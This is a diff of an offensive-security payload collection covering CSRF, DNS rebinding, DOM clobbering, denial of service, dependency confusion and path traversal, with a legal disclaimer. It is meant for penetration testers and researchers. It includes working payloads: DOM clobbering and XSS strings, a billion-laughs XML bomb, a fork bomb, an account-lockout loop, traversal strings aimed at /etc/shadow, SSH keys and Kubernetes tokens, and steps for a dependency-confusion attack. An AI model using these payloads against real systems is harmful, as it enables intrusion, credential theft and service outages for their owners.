* [Paypal bug bounty: Updating the Paypal.me profile picture without consent (CSRF attack) - Florian Courtial - 19 July 2016](https://web.archive.org/web/20170607102958/https://hethical.io/paypal-bug-bounty-updating-the-paypal-me-profile-picture-without-consent-csrf-attack/)
* [Hacking PayPal Accounts with one click (Patched) - Yasser Ali - 2014/10/09](https://web.archive.org/web/20141203184956/http://yasserali.com/hacking-paypal-accounts-with-one-click/)
* [Add tweet to collection CSRF - Vijay Kumar (indoappsec) - November 21, 2015](https://hackerone.com/reports/100820)
* [Facebookmarketingdevelopers.com: Proxies, CSRF Quandry and API Fun - phwd - October 16, 2015](http://philippeharewood.com/facebookmarketingdevelopers-com-proxies-csrf-quandry-and-api-fun/)
* [How I Hacked Your Beats Account? Apple Bug Bounty - @aaditya_purani - 2016/07/20](https://aadityapurani.com/2016/07/20/how-i-hacked-your-beats-account-apple-bug-bounty/)
* [FORM POST JSON: JSON CSRF on POST Heartbeats API - Eugene Yakovchuk - July 2, 2017](https://hackerone.com/reports/245346)
* [Hacking Facebook accounts using CSRF in Oculus-Facebook integration - Josip Franjkovic - January 15th, 2018](https://www.josipfranjkovic.com/blog/hacking-facebook-oculus-integration-csrf)
* [Cross Site Request Forgery (CSRF) - Sjoerd Langkemper - Jan 9, 2019](http://www.sjoerdlangkemper.nl/2019/01/09/csrf/)
* [Cross-Site Request Forgery Attack - PwnFunction - 5 Apr. 2019](https://www.youtube.com/watch?v=eWEgUcHPle0)
* [Wiping Out CSRF - Joe Rozner - Oct 17, 2017](https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f)
* [Bypass Referer Check Logic for CSRF - hahwul - Oct 11, 2019](https://www.hahwul.com/2019/10/11/bypass-referer-check-logic-for-csrf/)

11
DISCLAIMER.md Normal file
View File

@@ -0,0 +1,11 @@
# DISCLAIMER
The authors and contributors of this repository disclaim any and all responsibility for the misuse of the information, tools, or techniques described herein. The content is provided solely for educational and research purposes. Users are strictly advised to utilize this information in accordance with applicable laws and regulations and only on systems for which they have explicit authorization.
By accessing and using this repository, you agree to:
* Refrain from using the provided information for any unethical or illegal activities.
* Ensure that all testing and experimentation are conducted responsibly and with proper authorization.
* Acknowledge that any actions you take based on the contents of this repository are solely your responsibility.
Neither the authors nor contributors shall be held liable for any damages, direct or indirect, resulting from the misuse or unauthorized application of the knowledge contained herein. Always act mindfully, ethically, and within the boundaries of the law.

View File

@@ -5,32 +5,55 @@
## Summary ## Summary
* [Tools](#tools) * [Tools](#tools)
* [Exploitation](#exploitation) * [Methodology](#methodology)
* [Protection Bypasses](#protection-bypasses) * [Protection Bypasses](#protection-bypasses)
* [0.0.0.0](#0000)
* [CNAME](#cname)
* [localhost](#localhost)
* [References](#references)
## Tools ## Tools
- [Singularity of Origin](https://github.com/nccgroup/singularity) - is a tool to perform DNS rebinding attacks. * [nccgroup/singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework.
- [Singularity of Origin Web Client](http://rebind.it/) (manager interface, port scanner and autoattack) * [rebind.it](http://rebind.it/) - Singularity of Origin Web Client.
* [taviso/rbndr](https://github.com/taviso/rbndr) - Simple DNS Rebinding Service
* [taviso/rebinder](https://lock.cmpxchg8b.com/rebinder.html) - rbndr Tool Helper
## Exploitation ## Methodology
First, we need to make sure that the targeted service is vulnerable to DNS rebinding. **Setup Phase**:
It can be done with a simple curl request:
```bash * Register a malicious domain (e.g., `malicious.com`).
curl --header 'Host: <arbitrary-hostname>' http://<vulnerable-service>:8080 * Configure a custom DNS server capable of resolving `malicious.com` to different IP addresses.
```
If the server returns the expected result (e.g. the regular web page) then the service is vulnerable. **Initial Victim Interaction**:
If the server returns an error message (e.g. 404 or similar), the server has most likely protections implemented which prevent DNS rebinding attacks.
Then, if the service is vulnerable, we can abuse DNS rebinding by following these steps: * Create a webpage on `malicious.com` containing malicious JavaScript or another exploit mechanism.
* Entice the victim to visit the malicious webpage (e.g., via phishing, social engineering, or advertisements).
**Initial DNS Resolution**:
* When the victim's browser accesses `malicious.com`, it queries the attacker's DNS server for the IP address.
* The DNS server resolves `malicious.com` to an initial, legitimate-looking IP address (e.g., 203.0.113.1).
**Rebinding to Internal IP**:
* After the browser's initial request, the attacker's DNS server updates the resolution for `malicious.com` to a private or internal IP address (e.g., 192.168.1.1, corresponding to the victims router or other internal devices).
This is often achieved by setting a very short TTL (time-to-live) for the initial DNS response, forcing the browser to re-resolve the domain.
**Same-Origin Exploitation:**
The browser treats subsequent responses as coming from the same origin (`malicious.com`).
Malicious JavaScript running in the victim's browser can now make requests to internal IP addresses or local services (e.g., 192.168.1.1 or 127.0.0.1), bypassing same-origin policy restrictions.
**Example:**
1. Register a domain. 1. Register a domain.
2. [Setup Singularity of Origin](https://github.com/nccgroup/singularity/wiki/Setup-and-Installation). 2. [Setup Singularity of Origin](https://github.com/nccgroup/singularity/wiki/Setup-and-Installation).
3. Edit the [autoattack HTML page](https://github.com/nccgroup/singularity/blob/master/html/autoattack.html) for your needs. 3. Edit the [autoattack HTML page](https://github.com/nccgroup/singularity/blob/master/html/autoattack.html) for your needs.
4. Browse to "http://rebinder.your.domain:8080/autoattack.html". 4. Browse to `http://rebinder.your.domain:8080/autoattack.html`.
5. Wait for the attack to finish (it can take few seconds/minutes). 5. Wait for the attack to finish (it can take few seconds/minutes).
## Protection Bypasses ## Protection Bypasses
@@ -70,6 +93,4 @@ localhost.example.com. 381 IN CNAME localhost.
## References ## References
- [How Do DNS Rebinding Attacks Work? - nccgroup, 2019](https://github.com/nccgroup/singularity/wiki/How-Do-DNS-Rebinding-Attacks-Work%3F) * [How Do DNS Rebinding Attacks Work? - nccgroup - Apr 9, 2019](https://github.com/nccgroup/singularity/wiki/How-Do-DNS-Rebinding-Attacks-Work%3F)

145
DOM Clobbering/README.md Normal file
View File

@@ -0,0 +1,145 @@
# DOM Clobbering
> DOM Clobbering is a technique where global variables can be overwritten or "clobbered" by naming HTML elements with certain IDs or names. This can cause unexpected behavior in scripts and potentially lead to security vulnerabilities.
## Summary
- [Tools](#tools)
- [Methodology](#methodology)
- [Lab](#lab)
- [References](#references)
## Tools
- [SoheilKhodayari/DOMClobbering](https://domclob.xyz/domc_markups/list) - Comprehensive List of DOM Clobbering Payloads for Mobile and Desktop Web Browsers
- [yeswehack/Dom-Explorer](https://github.com/yeswehack/Dom-Explorer) - A web-based tool designed for testing various HTML parsers and sanitizers.
- [yeswehack/Dom-Explorer Live](https://yeswehack.github.io/Dom-Explorer/dom-explorer#eyJpbnB1dCI6IiIsInBpcGVsaW5lcyI6W3siaWQiOiJ0ZGpvZjYwNSIsIm5hbWUiOiJEb20gVHJlZSIsInBpcGVzIjpbeyJuYW1lIjoiRG9tUGFyc2VyIiwiaWQiOiJhYjU1anN2YyIsImhpZGUiOmZhbHNlLCJza2lwIjpmYWxzZSwib3B0cyI6eyJ0eXBlIjoidGV4dC9odG1sIiwic2VsZWN0b3IiOiJib2R5Iiwib3V0cHV0IjoiaW5uZXJIVE1MIiwiYWRkRG9jdHlwZSI6dHJ1ZX19XX1dfQ==) - Reveal how browsers parse HTML and find mutated XSS vulnerabilities
## Methodology
Exploitation requires any kind of `HTML injection` in the page.
- Clobbering `x.y.value`
```html
// Payload
<form id=x><output id=y>I've been clobbered</output>
// Sink
<script>alert(x.y.value);</script>
```
- Clobbering `x.y` using ID and name attributes together to form a DOM collection
```html
// Payload
<a id=x><a id=x name=y href="Clobbered">
// Sink
<script>alert(x.y)</script>
```
- Clobbering `x.y.z` - 3 levels deep
```html
// Payload
<form id=x name=y><input id=z></form>
<form id=x></form>
// Sink
<script>alert(x.y.z)</script>
```
- Clobbering `a.b.c.d` - more than 3 levels
```html
// Payload
<iframe name=a srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<style>@import '//portswigger.net';</style>
// Sink
<script>alert(a.b.c.d)</script>
```
- Clobbering `forEach` (Chrome only)
```html
// Payload
<form id=x>
<input id=y name=z>
<input id=y>
</form>
// Sink
<script>x.y.forEach(element=>alert(element))</script>
```
- Clobbering `document.getElementById()` using `<html>` or `<body>` tag with the same `id` attribute
```html
// Payloads
<html id="cdnDomain">clobbered</html>
<svg><body id=cdnDomain>clobbered</body></svg>
// Sink
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
</script>
```
- Clobbering `x.username`
```html
// Payload
<a id=x href="ftp:Clobbered-username:Clobbered-Password@a">
// Sink
<script>
alert(x.username)//Clobbered-username
alert(x.password)//Clobbered-password
</script>
```
- Clobbering (Firefox only)
```html
// Payload
<base href=a:abc><a id=x href="Firefox<>">
// Sink
<script>
alert(x)//Firefox<>
</script>
```
- Clobbering (Chrome only)
```html
// Payload
<base href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123>
// Sink
<script>
alert(x.xyz)//a://Clobbered<>
</script>
```
## Tricks
- DomPurify allows the protocol `cid:`, which doesn't encode double quote (`"`): `<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`
## Lab
- [PortSwigger - Exploiting DOM clobbering to enable XSS](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering)
- [PortSwigger - Clobbering DOM attributes to bypass HTML filters](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-clobbering-attributes-to-bypass-html-filters)
- [PortSwigger - DOM clobbering test case protected by CSP](https://portswigger-labs.net/dom-invader/testcases/augmented-dom-script-dom-clobbering-csp/)
## References
- [Bypassing CSP via DOM clobbering - Gareth Heyes - 05 June 2023](https://portswigger.net/research/bypassing-csp-via-dom-clobbering)
- [DOM Clobbering - HackTricks - January 27, 2023](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-clobbering)
- [DOM Clobbering - PortSwigger - September 25, 2020](https://portswigger.net/web-security/dom-based/dom-clobbering)
- [DOM Clobbering strikes back - Gareth Heyes - 06 February 2020](https://portswigger.net/research/dom-clobbering-strikes-back)
- [Hijacking service workers via DOM Clobbering - Gareth Heyes - 29 November 2022](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)

101
Denial of Service/README.md Normal file
View File

@@ -0,0 +1,101 @@
# Denial of Service
> A Denial of Service (DoS) attack aims to make a service unavailable by overwhelming it with a flood of illegitimate requests or exploiting vulnerabilities in the target's software to crash or degrade performance. In a Distributed Denial of Service (DDoS), attackers use multiple sources (often compromised machines) to perform the attack simultaneously.
## Summary
* [Methodology](#methodology)
* [Locking Customer Accounts](#locking-customer-accounts)
* [File Limits on FileSystem](#file-limits-on-filesystem)
* [Memory Exhaustion - Technology Related](#memory-exhaustion---technology-related)
* [References](#references)
## Methodology
Here are some examples of Denial of Service (DoS) attacks. These examples should serve as a reference for understanding the concept, but any DoS testing should be conducted cautiously, as it can disrupt the target environment and potentially result in loss of access or exposure of sensitive data.
### Locking Customer Accounts
Example of Denial of Service that can occur when testing customer accounts.
Be very careful as this is most likely **out-of-scope** and can have a high impact on the business.
* Multiple attempts on the login page when the account is temporary/indefinitely banned after X bad attempts.
```ps1
for i in {1..100}; do curl -X POST -d "username=user&password=wrong" <target_login_url>; done
```
### File Limits on FileSystem
When a process is writing a file on the server, try to reach the maximum number of files allowed by the filesystem format. The system should output a message: `No space left on device` when the limit is reached.
| Filesystem | Maximum Inodes |
| --- | --- |
| BTRFS | 2^64 (~18 quintillion) |
| EXT4 | ~4 billion |
| FAT32 | ~268 million files |
| NTFS | ~4.2 billion (MFT entries) |
| XFS | Dynamic (disk size) |
| ZFS | ~281 trillion |
An alternative of this technique would be to fill a file used by the application until it reaches the maximum size allowed by the filesystem, for example it can occur on a SQLite database or a log file.
FAT32 has a significant limitation of **4 GB**, which is why it's often replaced with exFAT or NTFS for larger files.
Modern filesystems like BTRFS, ZFS, and XFS support exabyte-scale files, well beyond current storage capacities, making them future-proof for large datasets.
### Memory Exhaustion - Technology Related
Depending on the technology used by the website, an attacker may have the ability to trigger specific functions or paradigm that will consume a huge chunk of memory.
* **XML External Entity**: Billion laughs attack/XML bomb
```xml
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
```
* **GraphQL**: Deeply-nested GraphQL queries.
```ps1
query {
repository(owner:"rails", name:"rails") {
assignableUsers (first: 100) {
nodes {
repositories (first: 100) {
nodes {
}
}
}
}
}
}
```
* **Image Resizing**: try to send invalid pictures with modified headers, e.g: abnormal size, big number of pixels.
* **SVG handling**: SVG file format is based on XML, try the billion laughs attack.
* **Regular Expression**: ReDoS
* **Fork Bomb**: rapidly creates new processes in a loop, consuming system resources until the machine becomes unresponsive.
```ps1
:(){ :|:& };:
```
## References
* [DEF CON 32 - Practical Exploitation of DoS in Bug Bounty - Roni Lupin Carta - October 16, 2024](https://youtu.be/b7WlUofPJpU)
* [Denial of Service Cheat Sheet - OWASP Cheat Sheet Series - July 16, 2019](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html)

View File

@@ -5,28 +5,35 @@
## Summary ## Summary
* [Tools](#tools) * [Tools](#tools)
* [Exploit](#exploitation) * [Methodology](#methodology)
* [NPM Example](#npm-example)
* [References](#references) * [References](#references)
## Tools ## Tools
* [Confused](https://github.com/visma-prodsec/confused) * [visma-prodsec/confused](https://github.com/visma-prodsec/confused) - Tool to check for dependency confusion vulnerabilities in multiple package management systems
* [synacktiv/DepFuzzer](https://github.com/synacktiv/DepFuzzer) - Tool used to find dependency confusion or project where owner's email can be takeover.
## Exploit ## Methodology
Look for `npm`, `pip`, `gem` packages, the methodology is the same : you register a public package with the same name of private one used by the company and then you wait for it to be used. Look for `npm`, `pip`, `gem` packages, the methodology is the same : you register a public package with the same name of private one used by the company and then you wait for it to be used.
### NPM example * **DockerHub**: Dockerfile image
* **JavaScript** (npm): package.json
* **MVN** (maven): pom.xml
* **PHP** (composer): composer.json
* **Python** (pypi): requirements.txt
### NPM Example
* List all the packages (ie: package.json, composer.json, ...) * List all the packages (ie: package.json, composer.json, ...)
* Find the package missing from https://www.npmjs.com/ * Find the package missing from [www.npmjs.com](https://www.npmjs.com/)
* Register and create a **public** package with the same name * Register and create a **public** package with the same name
* Package example : https://github.com/0xsapra/dependency-confusion-expoit * Package example : [0xsapra/dependency-confusion-expoit](https://github.com/0xsapra/dependency-confusion-expoit)
## References ## References
* [Exploiting Dependency Confusion - 2 Jul 2021 - 0xsapra](https://0xsapra.github.io/website//Exploiting-Dependency-Confusion) * [Exploiting Dependency Confusion - Aman Sapra (0xsapra) - 2 Jul 2021](https://0xsapra.github.io/website//Exploiting-Dependency-Confusion)
* [Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies - Alex Birsan - 9 Feb 2021](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) * [Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies - Alex Birsan - 9 Feb 2021](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
* [Ways to Mitigate Risk When Using Private Package Feeds - Microsoft - 29/03/2021](https://azure.microsoft.com/en-gb/resources/3-ways-to-mitigate-risk-using-private-package-feeds/) * [3 Ways to Mitigate Risk When Using Private Package Feeds - Microsoft - 29/03/2021](https://web.archive.org/web/20210210121930/https://azure.microsoft.com/en-gb/resources/3-ways-to-mitigate-risk-using-private-package-feeds/)
* [$130,000+ Learn New Hacking Technique in 2021 - Dependency Confusion - Bug Bounty Reports Explained](https://www.youtube.com/watch?v=zFHJwehpBrU ) * [$130,000+ Learn New Hacking Technique in 2021 - Dependency Confusion - Bug Bounty Reports Explained - 22 févr. 2021](https://www.youtube.com/watch?v=zFHJwehpBrU)

View File

@@ -6,6 +6,14 @@
../../../../../../{FILE} ../../../../../../{FILE}
../../../../../../../{FILE} ../../../../../../../{FILE}
../../../../../../../../{FILE} ../../../../../../../../{FILE}
..;/{FILE}
..;/..;/{FILE}
..;/..;/..;/{FILE}
..;/..;/..;/..;/{FILE}
..;/..;/..;/..;/..;/{FILE}
..;/..;/..;/..;/..;/..;/{FILE}
..;/..;/..;/..;/..;/..;/..;/{FILE}
..;/..;/..;/..;/..;/..;/..;/..;/{FILE}
..%2f{FILE} ..%2f{FILE}
..%2f..%2f{FILE} ..%2f..%2f{FILE}
..%2f..%2f..%2f{FILE} ..%2f..%2f..%2f{FILE}

View File

@@ -1,32 +1,38 @@
# Directory traversal # Directory Traversal
> A directory or path traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs. > Path Traversal, also known as Directory Traversal, is a type of security vulnerability that occurs when an attacker manipulates variables that reference files with “dot-dot-slash (../)” sequences or similar constructs. This can allow the attacker to access arbitrary files and directories stored on the file system.
## Summary ## Summary
* [Tools](#tools) * [Tools](#tools)
* [Basic exploitation](#basic-exploitation) * [Methodology](#methodology)
* [16 bits Unicode encoding](#16-bits-unicode-encoding) * [URL Encoding](#url-encoding)
* [UTF-8 Unicode encoding](#utf-8-unicode-encoding) * [Double URL Encoding](#double-url-encoding)
* [Bypass "../" replaced by ""](#bypass--replaced-by-) * [Unicode Encoding](#unicode-encoding)
* [Bypass "../" with ";"](#bypass--with-) * [Overlong UTF-8 Unicode Encoding](#overlong-utf-8-unicode-encoding)
* [Double URL encoding](#double-url-encoding) * [Mangled Path](#mangled-path)
* [UNC Bypass](#unc-bypass) * [NULL Bytes](#null-bytes)
* [NGINX/ALB Bypass](#nginxalb-bypass) * [Reverse Proxy URL Implementation](#reverse-proxy-url-implementation)
* [Exploit](#exploit)
* [UNC Share](#unc-share)
* [ASPNET Cookieless](#asp-net-cookieless)
* [IIS Short Name](#iis-short-name)
* [Java URL Protocol](#java-url-protocol)
* [Path Traversal](#path-traversal) * [Path Traversal](#path-traversal)
* [Interesting Linux files](#interesting-linux-files) * [Linux Files](#linux-files)
* [Interesting Windows files](#interesting-windows-files) * [Windows Files](#windows-files)
* [Labs](#labs)
* [References](#references) * [References](#references)
## Tools ## Tools
- [dotdotpwn - https://github.com/wireghoul/dotdotpwn](https://github.com/wireghoul/dotdotpwn) * [wireghoul/dotdotpwn](https://github.com/wireghoul/dotdotpwn) - The Directory Traversal Fuzzer
```powershell ```powershell
git clone https://github.com/wireghoul/dotdotpwn
perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b
``` ```
## Basic exploitation ## Methodology
We can use the `..` characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter. We can use the `..` characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter.
@@ -41,122 +47,269 @@ We can use the `..` characters to access the parent directory, the following str
%uff0e%uff0e%u2216 %uff0e%uff0e%u2216
``` ```
### 16 bits Unicode encoding ### URL Encoding
```powershell | Character | Encoded |
. = %u002e | --- | -------- |
/ = %u2215 | `.` | `%2e` |
\ = %u2216 | `/` | `%2f` |
| `\` | `%5c` |
**Example:** IPConfigure Orchid Core VMS 2.0.5 - Local File Inclusion
```ps1
{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd
``` ```
### UTF-8 Unicode encoding ### Double URL Encoding
```powershell Double URL encoding is the process of applying URL encoding twice to a string. In URL encoding, special characters are replaced with a % followed by their hexadecimal ASCII value. Double encoding repeats this process on the already encoded string.
. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f | Character | Encoded |
\ = %c0%5c, %c0%80%5c | --- | -------- |
| `.` | `%252e` |
| `/` | `%252f` |
| `\` | `%255c` |
**Example:** Spring MVC Directory Traversal Vulnerability (CVE-2018-1271)
```ps1
{{BaseURL}}/static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
{{BaseURL}}/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
``` ```
### Bypass "../" replaced by "" ### Unicode Encoding
Sometimes you encounter a WAF which remove the "../" characters from the strings, just duplicate them.
| Character | Encoded |
| --- | -------- |
| `.` | `%u002e` |
| `/` | `%u2215` |
| `\` | `%u2216` |
**Example**: Openfire Administration Console - Authentication Bypass (CVE-2023-32315)
```js
{{BaseURL}}/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
```
### Overlong UTF-8 Unicode Encoding
The UTF-8 standard mandates that each codepoint is encoded using the minimum number of bytes necessary to represent its significant bits. Any encoding that uses more bytes than required is referred to as "overlong" and is considered invalid under the UTF-8 specification. This rule ensures a one-to-one mapping between codepoints and their valid encodings, guaranteeing that each codepoint has a single, unique representation.
| Character | Encoded |
| --- | -------- |
| `.` | `%c0%2e`, `%e0%40%ae`, `%c0%ae` |
| `/` | `%c0%af`, `%e0%80%af`, `%c0%2f` |
| `\` | `%c0%5c`, `%c0%80%5c` |
### Mangled Path
Sometimes you encounter a WAF which remove the `../` characters from the strings, just duplicate them.
```powershell ```powershell
..././ ..././
...\.\ ...\.\
``` ```
### Bypass "../" with ";" **Example:**: Mirasys DVMS Workstation <=5.12.6
```ps1
{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini
```
### NULL Bytes
A null byte (`%00`), also known as a null character, is a special control character (0x00) in many programming languages and systems. It is often used as a string terminator in languages like C and C++. In directory traversal attacks, null bytes are used to manipulate or bypass server-side input validation mechanisms.
**Example:** Homematic CCU3 CVE-2019-9726
```js
{{BaseURL}}/.%00./.%00./etc/passwd
```
**Example:** Kyocera Printer d-COPIA253MF CVE-2020-23575
```js
{{BaseURL}}/wlmeng/../../../../../../../../../../../etc/passwd%00index.htm
```
### Reverse Proxy URL Implementation
Nginx treats `/..;/` as a directory while Tomcat treats it as it would treat `/../` which allows us to access arbitrary servlets.
```powershell ```powershell
..;/ ..;/
http://domain.tld/page.jsp?include=..;/..;/sensitive.txt
``` ```
### Double URL encoding **Example**: Pascom Cloud Phone System CVE-2021-45967
```powershell A configuration error between NGINX and a backend Tomcat server leads to a path traversal in the Tomcat server, exposing unintended endpoints.
. = %252e
/ = %252f ```js
\ = %255c {{BaseURL}}/services/pluginscript/..;/..;/..;/getFavicon?host={{interactsh-url}}
``` ```
**e.g:** Spring MVC Directory Traversal Vulnerability (CVE-2018-1271) with `http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini` ## Exploit
### UNC Bypass These exploits affect mechanism linked to specific technologies.
An attacker can inject a Windows UNC share ('\\UNC\share\name') into a software system to potentially redirect access to an unintended location or arbitrary file. ### UNC Share
A UNC (Universal Naming Convention) share is a standard format used to specify the location of resources, such as shared files, directories, or devices, on a network in a platform-independent manner. It is commonly used in Windows environments but is also supported by other operating systems.
An attacker can inject a **Windows** UNC share (`\\UNC\share\name`) into a software system to potentially redirect access to an unintended location or arbitrary file.
```powershell ```powershell
\\localhost\c$\windows\win.ini \\localhost\c$\windows\win.ini
``` ```
### NGINX/ALB Bypass Also the machine might also authenticate on this remote share, thus sending an NTLM exchange.
NGINX in certain configurations and ALB can block traversal attacks in the route, For example: ### ASP NET Cookieless
```http://nginx-server/../../``` will return a 400 bad request.
To bypass this behaviour just add forward slashes in front of the url: When cookieless session state is enabled. Instead of relying on a cookie to identify the session, ASP.NET modifies the URL by embedding the Session ID directly into it.
```http://nginx-server////////../../```
For example, a typical URL might be transformed from: `http://example.com/page.aspx` to something like: `http://example.com/(S(lit3py55t21z5v55vlm25s55))/page.aspx`. The value within `(S(...))` is the Session ID.
### Java Bypass | .NET Version | URI |
| -------------- | -------------------------- |
| V1.0, V1.1 | /(XXXXXXXX)/ |
| V2.0+ | /(S(XXXXXXXX))/ |
| V2.0+ | /(A(XXXXXXXX)F(YYYYYYYY))/ |
| V2.0+ | ... |
Bypass Java's URL protocol We can use this behavior to bypass filtered URLs.
* If your application is in the main folder
```ps1
/(S(X))/
/(Y(Z))/
/(G(AAA-BBB)D(CCC=DDD)E(0-1))/
/(S(X))/admin/(S(X))/main.aspx
/(S(x))/b/(S(x))in/Navigator.dll
```
* If your application is in a subfolder
```ps1
/MyApp/(S(X))/
/admin/(S(X))/main.aspx
/admin/Foobar/(S(X))/../(S(X))/main.aspx
```
| CVE | Payload |
| -------------- | ---------------------------------------------- |
| CVE-2023-36899 | /WebForm/(S(X))/prot/(S(X))ected/target1.aspx |
| - | /WebForm/(S(X))/b/(S(X))in/target2.aspx |
| CVE-2023-36560 | /WebForm/pro/(S(X))tected/target1.aspx/(S(X))/ |
| - | /WebForm/b/(S(X))in/target2.aspx/(S(X))/ |
### IIS Short Name
The IIS Short Name vulnerability exploits a quirk in Microsoft's Internet Information Services (IIS) web server that allows attackers to determine the existence of files or directories with names longer than the 8.3 format (also known as short file names) on a web server.
* [irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)
```ps1
java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/bin::$INDEX_ALLOCATION/'
java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/MyApp/bin::$INDEX_ALLOCATION/'
```
* [bitquark/shortscan](https://github.com/bitquark/shortscan)
```ps1
shortscan http://example.org/
```
### Java URL Protocol
Java's URL protocol when `new URL('')` is used allows the format `url:URL`
```powershell ```powershell
url:file:///etc/passwd url:file:///etc/passwd
url:http://127.0.0.1:8080 url:http://127.0.0.1:8080
``` ```
## Path Traversal ## Path Traversal
### Interesting Linux files ### Linux Files
* Operating System and Informations
```powershell
/etc/issue
/etc/group
/etc/hosts
/etc/motd
```
* Processes
```ps1
/proc/[0-9]*/fd/[0-9]* # first number is the PID, second is the filedescriptor
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
```
* Network
```ps1
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
```
* Current Path
```ps1
/proc/self/cwd/index.php
/proc/self/cwd/main.py
```
* Indexing
```ps1
/var/lib/mlocate/mlocate.db
/var/lib/plocate/plocate.db
/var/lib/mlocate.db
```
* Credentials and history
```ps1
/etc/passwd
/etc/shadow
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/etc/mysql/my.cnf
```
* Kubernetes
```ps1
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/certificate
/var/run/secrets/kubernetes.io/serviceaccount
```
### Windows Files
The files `license.rtf` and `win.ini` are consistently present on modern Windows systems, making them a reliable target for testing path traversal vulnerabilities. While their content isn't particularly sensitive or interesting, they serves well as a proof of concept.
```powershell ```powershell
/etc/issue C:\Windows\win.ini
/etc/passwd C:\windows\system32\license.rtf
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]* (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/certificate
/var/run/secrets/kubernetes.io/serviceaccount
/var/lib/mlocate/mlocate.db
/var/lib/mlocate.db
``` ```
### Interesting Windows files A list of files / paths to probe when arbitrary files can be read on a Microsoft Windows operating system: [soffensive/windowsblindread](https://github.com/soffensive/windowsblindread)
Always existing file in recent Windows machine.
Ideal to test path traversal but nothing much interesting inside...
```powershell ```powershell
c:\windows\system32\license.rtf
c:\windows\system32\eula.txt
```
Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread)
```powershell
c:/boot.ini
c:/inetpub/logs/logfiles c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp c:/inetpub/wwwroot/index.asp
@@ -180,25 +333,23 @@ c:/windows/repair/sam
c:/windows/repair/system c:/windows/repair/system
``` ```
The following log files are controllable and can be included with an evil payload to achieve a command execution ## Labs
```powershell * [PortSwigger - File path traversal, simple case](https://portswigger.net/web-security/file-path-traversal/lab-simple)
